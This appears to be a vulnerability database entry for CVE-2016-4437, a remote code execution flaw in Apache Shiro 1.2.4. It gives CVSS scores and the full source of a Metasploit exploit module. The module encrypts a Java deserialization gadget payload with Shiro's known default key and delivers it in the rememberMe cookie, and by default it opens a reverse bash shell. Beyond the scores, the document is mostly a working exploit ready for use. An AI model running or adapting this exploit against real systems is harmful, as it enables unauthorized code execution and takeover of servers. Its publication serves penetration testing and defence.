CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may also be exploitable if the encryption key used by Shiro to encrypt rememberMe cookies is known.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::JavaDeserialization
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
also be exploitable if the encryption key used by Shiro to encrypt rememberMe
cookies is known.
},
'License' => MSF_LICENSE,
'Author' => [
'L / l-codes[at]qq.com' # Metasploit module
],
'References' => [
['CVE', '2016-4437'],
['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
],
'Platform' => %w[win unix],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command payload',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command payload',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-06-07',
'Privileged' => false,
'DefaultOptions' => {
'WfsDelay' => 5
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
]
)
end
def aes_encrypt(payload)
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.encrypt
aes.key = Rex::Text.decode_base64(datastore['ENC_KEY'])
aes.random_iv + aes.update(payload) + aes.final
end
def exploit
java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
ciphertext = aes_encrypt(java_payload)
base64_ciphertext = Rex::Text.encode_base64(ciphertext)
send_request_cgi({
'uri' => target_uri.path,
'method' => 'GET',
'cookie' => "rememberMe=#{base64_ciphertext}"
})
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low